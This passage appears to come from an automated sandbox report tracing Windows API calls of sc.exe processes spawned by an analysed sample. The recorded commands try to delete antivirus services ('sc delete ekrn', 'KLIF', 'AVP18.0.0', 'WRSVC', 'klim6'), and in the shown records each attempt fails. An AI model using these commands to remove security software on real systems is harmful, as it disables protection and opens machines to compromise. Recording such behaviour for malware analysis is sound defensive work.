lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.923] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16f650, nSize=0x2, Arguments=0x16f680 | out: lpBuffer="跀4") returned 0x62 [0066.923] GetFileType (hFile=0x120) returned 0x3 [0066.923] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x348ea0 [0066.923] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x348ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n4", lpUsedDefaultChar=0x0) returned 98 [0066.923] WriteFile (in: hFile=0x120, lpBuffer=0x348ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f5f8, lpOverlapped=0x0 | out: lpBuffer=0x348ea0*, lpNumberOfBytesWritten=0x16f5f8*=0x62, lpOverlapped=0x0) returned 1 [0066.923] LocalFree (hMem=0x348ea0) returned 0x0 [0066.923] LocalFree (hMem=0x348dc0) returned 0x0 [0066.923] LocalFree (hMem=0x0) returned 0x0 [0066.923] CloseServiceHandle (hSCObject=0x3443e0) returned 1 [0066.925] exit (_Code=1060) Thread: id = 79 os_tid = 0x3a4 Process: id = "40" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37874000" os_pid = "0x310" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete WRSVC" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 80 os_tid = 0xb0 [0066.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cf830 | out: lpSystemTimeAsFileTime=0x1cf830*(dwLowDateTime=0xea55dad0, dwHighDateTime=0x1d62701)) [0066.975] GetCurrentProcessId () returned 0x310 [0066.975] GetCurrentThreadId () returned 0xb0 [0066.975] GetTickCount () returned 0x1147c23 [0066.975] QueryPerformanceCounter (in: lpPerformanceCount=0x1cf838 | out: lpPerformanceCount=0x1cf838*=18717338450) returned 1 [0066.976] GetModuleHandleW (lpModuleName=0x0) returned 0xff190000 [0066.976] __set_app_type (_Type=0x1) [0066.976] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff197228) returned 0x0 [0066.976] __wgetmainargs (in: _Argc=0xff19b604, _Argv=0xff19b610, _Env=0xff19b608, _DoWildCard=0, _StartInfo=0xff19b050 | out: _Argc=0xff19b604, _Argv=0xff19b610, _Env=0xff19b608) returned 0 [0066.977] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.979] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.979] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.979] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.979] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.979] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.979] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.979] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.979] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.979] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.980] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.980] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.980] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.980] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.980] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.980] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.980] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.980] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.980] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.980] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.980] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.980] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.980] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.980] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.980] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.980] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.980] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.980] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.980] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.980] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.980] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.980] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.980] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x204370 [0066.984] OpenServiceW (hSCManager=0x204370, lpServiceName="WRSVC", dwDesiredAccess=0x10000) returned 0x0 [0066.984] GetLastError () returned 0x424 [0066.984] _itow (in: _Dest=0x424, _Radix=1898136 | out: _Dest=0x424) returned="1060" [0066.984] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff19b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.986] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1cf650, nSize=0x2, Arguments=0x1cf680 | out: lpBuffer="跀 ") returned 0x62 [0066.986] GetFileType (hFile=0x120) returned 0x3 [0066.987] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x208ea0 [0066.987] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x208ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n ", lpUsedDefaultChar=0x0) returned 98 [0066.987] WriteFile (in: hFile=0x120, lpBuffer=0x208ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1cf5f8, lpOverlapped=0x0 | out: lpBuffer=0x208ea0*, lpNumberOfBytesWritten=0x1cf5f8*=0x62, lpOverlapped=0x0) returned 1 [0066.987] LocalFree (hMem=0x208ea0) returned 0x0 [0066.987] LocalFree (hMem=0x208dc0) returned 0x0 [0066.987] LocalFree (hMem=0x0) returned 0x0 [0066.987] CloseServiceHandle (hSCObject=0x204370) returned 1 [0066.989] exit (_Code=1060) Thread: id = 81 os_tid = 0x818 Process: id = "41" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37f79000" os_pid = "0x838" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete ekrn" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 82 os_tid = 0x868 [0067.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfe30 | out: lpSystemTimeAsFileTime=0x1cfe30*(dwLowDateTime=0xea61c1b0, dwHighDateTime=0x1d62701)) [0067.045] GetCurrentProcessId () returned 0x838 [0067.045] GetCurrentThreadId () returned 0x868 [0067.045] GetTickCount () returned 0x1147c71 [0067.045] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfe38 | out: lpPerformanceCount=0x1cfe38*=18724353801) returned 1 [0067.046] GetModuleHandleW (lpModuleName=0x0) returned 0xff040000 [0067.046] __set_app_type (_Type=0x1) [0067.046] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff047228) returned 0x0 [0067.047] __wgetmainargs (in: _Argc=0xff04b604, _Argv=0xff04b610, _Env=0xff04b608, _DoWildCard=0, _StartInfo=0xff04b050 | out: _Argc=0xff04b604, _Argv=0xff04b610, _Env=0xff04b608) returned 0 [0067.047] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.050] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.050] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.050] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.050] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.050] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.050] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.050] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.050] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.050] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.050] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.050] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.050] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.051] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.051] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.051] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.051] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.051] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.051] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.051] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.051] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.051] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.051] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.051] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.051] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.051] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.051] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.051] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.051] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.051] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.051] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.051] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.051] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x294360 [0067.056] OpenServiceW (hSCManager=0x294360, lpServiceName="ekrn", dwDesiredAccess=0x10000) returned 0x0 [0067.056] GetLastError () returned 0x424 [0067.056] _itow (in: _Dest=0x424, _Radix=1899672 | out: _Dest=0x424) returned="1060" [0067.056] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff04b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.058] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1cfc50, nSize=0x2, Arguments=0x1cfc80 | out: lpBuffer="趰)") returned 0x62 [0067.059] GetFileType (hFile=0x120) returned 0x3 [0067.059] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x298e90 [0067.059] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x298e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n)", lpUsedDefaultChar=0x0) returned 98 [0067.059] WriteFile (in: hFile=0x120, lpBuffer=0x298e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1cfbf8, lpOverlapped=0x0 | out: lpBuffer=0x298e90*, lpNumberOfBytesWritten=0x1cfbf8*=0x62, lpOverlapped=0x0) returned 1 [0067.059] LocalFree (hMem=0x298e90) returned 0x0 [0067.059] LocalFree (hMem=0x298db0) returned 0x0 [0067.059] LocalFree (hMem=0x0) returned 0x0 [0067.059] CloseServiceHandle (hSCObject=0x294360) returned 1 [0067.062] exit (_Code=1060) Thread: id = 83 os_tid = 0xab8 Process: id = "42" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x36d7e000" os_pid = "0xac0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete klim6" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0xac8 [0067.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10fcb0 | out: lpSystemTimeAsFileTime=0x10fcb0*(dwLowDateTime=0xea6da890, dwHighDateTime=0x1d62701)) [0067.120] GetCurrentProcessId () returned 0xac0 [0067.120] GetCurrentThreadId () returned 0xac8 [0067.120] GetTickCount () returned 0x1147cbf [0067.120] QueryPerformanceCounter (in: lpPerformanceCount=0x10fcb8 | out: lpPerformanceCount=0x10fcb8*=18731831992) returned 1 [0067.121] GetModuleHandleW (lpModuleName=0x0) returned 0xffb40000 [0067.121] __set_app_type (_Type=0x1) [0067.121] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffb47228) returned 0x0 [0067.121] __wgetmainargs (in: _Argc=0xffb4b604, _Argv=0xffb4b610, _Env=0xffb4b608, _DoWildCard=0, _StartInfo=0xffb4b050 | out: _Argc=0xffb4b604, _Argv=0xffb4b610, _Env=0xffb4b608) returned 0 [0067.122] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.124] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.124] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.124] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.124] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.124] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.124] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.124] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.124] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.124] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.124] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.124] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.124] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.124] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.124] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.124] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.124] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.124] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.124] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.124] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.124] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.124] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.124] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.124] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.124] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.124] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.125] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.125] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.125] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.125] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.125] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.125] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.125] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2b4370 [0067.128] OpenServiceW (hSCManager=0x2b4370, lpServiceName="klim6", dwDesiredAccess=0x10000) returned 0x0 [0067.128] GetLastError () returned 0x424 [0067.128] _itow (in: _Dest=0x424, _Radix=1112856 | out: _Dest=0x424) returned="1060" [0067.128] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffb4b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.130] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10fad0, nSize=0x2, Arguments=0x10fb00 | out: lpBuffer="跀+") returned 0x62 [0067.130] GetFileType (hFile=0x120) returned 0x3 [0067.130] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2b8ea0 [0067.130] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2b8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n+", lpUsedDefaultChar=0x0) returned 98 [0067.130] WriteFile (in: hFile=0x120, lpBuffer=0x2b8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10fa78, lpOverlapped=0x0 | out: lpBuffer=0x2b8ea0*, lpNumberOfBytesWritten=0x10fa78*=0x62, lpOverlapped=0x0) returned 1 [0067.130] LocalFree (hMem=0x2b8ea0) returned 0x0 [0067.130] LocalFree (hMem=0x2b8dc0) returned 0x0 [0067.131] LocalFree (hMem=0x0) returned 0x0 [0067.131] CloseServiceHandle (hSCObject=0x2b4370) returned 1 [0067.132] exit (_Code=1060) Thread: id = 85 os_tid = 0xacc Process: id = "43" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x36d83000" os_pid = "0xad0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"AVP18.0.0\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0x858 [0067.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f7b0 | out: lpSystemTimeAsFileTime=0x24f7b0*(dwLowDateTime=0xea772e10, dwHighDateTime=0x1d62701)) [0067.188] GetCurrentProcessId () returned 0xad0 [0067.188] GetCurrentThreadId () returned 0x858 [0067.188] GetTickCount () returned 0x1147cfd [0067.188] QueryPerformanceCounter (in: lpPerformanceCount=0x24f7b8 | out: lpPerformanceCount=0x24f7b8*=18738689853) returned 1 [0067.189] GetModuleHandleW (lpModuleName=0x0) returned 0xff070000 [0067.189] __set_app_type (_Type=0x1) [0067.189] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff077228) returned 0x0 [0067.190] __wgetmainargs (in: _Argc=0xff07b604, _Argv=0xff07b610, _Env=0xff07b608, _DoWildCard=0, _StartInfo=0xff07b050 | out: _Argc=0xff07b604, _Argv=0xff07b610, _Env=0xff07b608) returned 0 [0067.190] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.192] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.192] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.192] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.192] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.192] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.192] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.192] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.192] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.192] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.192] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.192] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.192] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.192] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.192] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.192] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.192] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.192] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.192] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.192] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.192] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.193] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.193] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.193] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.193] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.193] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.193] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.193] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.193] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.193] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.193] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.193] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.193] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3e4370 [0067.196] OpenServiceW (hSCManager=0x3e4370, lpServiceName="AVP18.0.0", dwDesiredAccess=0x10000) returned 0x0 [0067.196] GetLastError () returned 0x424 [0067.196] _itow (in: _Dest=0x424, _Radix=2422296 | out: _Dest=0x424) returned="1060" [0067.197] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff07b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.199] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24f5d0, nSize=0x2, Arguments=0x24f600 | out: lpBuffer="跀>") returned 0x62 [0067.200] GetFileType (hFile=0x120) returned 0x3 [0067.200] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3e8ea0 [0067.200] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3e8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n>", lpUsedDefaultChar=0x0) returned 98 [0067.200] WriteFile (in: hFile=0x120, lpBuffer=0x3e8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24f578, lpOverlapped=0x0 | out: lpBuffer=0x3e8ea0*, lpNumberOfBytesWritten=0x24f578*=0x62, lpOverlapped=0x0) returned 1 [0067.200] LocalFree (hMem=0x3e8ea0) returned 0x0 [0067.200] LocalFree (hMem=0x3e8dc0) returned 0x0 [0067.200] LocalFree (hMem=0x0) returned 0x0 [0067.200] CloseServiceHandle (hSCObject=0x3e4370) returned 1 [0067.202] exit (_Code=1060) Thread: id = 87 os_tid = 0x878 Process: id = "44" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37888000" os_pid = "0x898" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete KLIF" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0x8a8 [0067.263] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f830 | out: lpSystemTimeAsFileTime=0x22f830*(dwLowDateTime=0xea8314f0, dwHighDateTime=0x1d62701)) [0067.263] GetCurrentProcessId () returned 0x898 [0067.263] GetCurrentThreadId () returned 0x8a8 [0067.264] GetTickCount () returned 0x1147d4b [0067.264] QueryPerformanceCounter (in: lpPerformanceCount=0x22f838 | out: lpPerformanceCount=0x22f838*=18746212726) returned 1 [0067.265] GetModuleHandleW (lpModuleName=0x0) returned 0xff200000 [0067.265] __set_app_type (_Type=0x1) [0067.265] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff207228) returned 0x0 [0067.266] __wgetmainargs (in: _Argc=0xff20b604, _Argv=0xff20b610, _Env=0xff20b608, _DoWildCard=0, _StartInfo=0xff20b050 | out: _Argc=0xff20b604, _Argv=0xff20b610, _Env=0xff20b608) returned 0 [0067.266] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.270] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.270] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.270] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.270] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.270] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.270] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.270] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.270] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.270] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.270] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.270] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.270] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.270] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.270] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.270] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.270] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.270] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 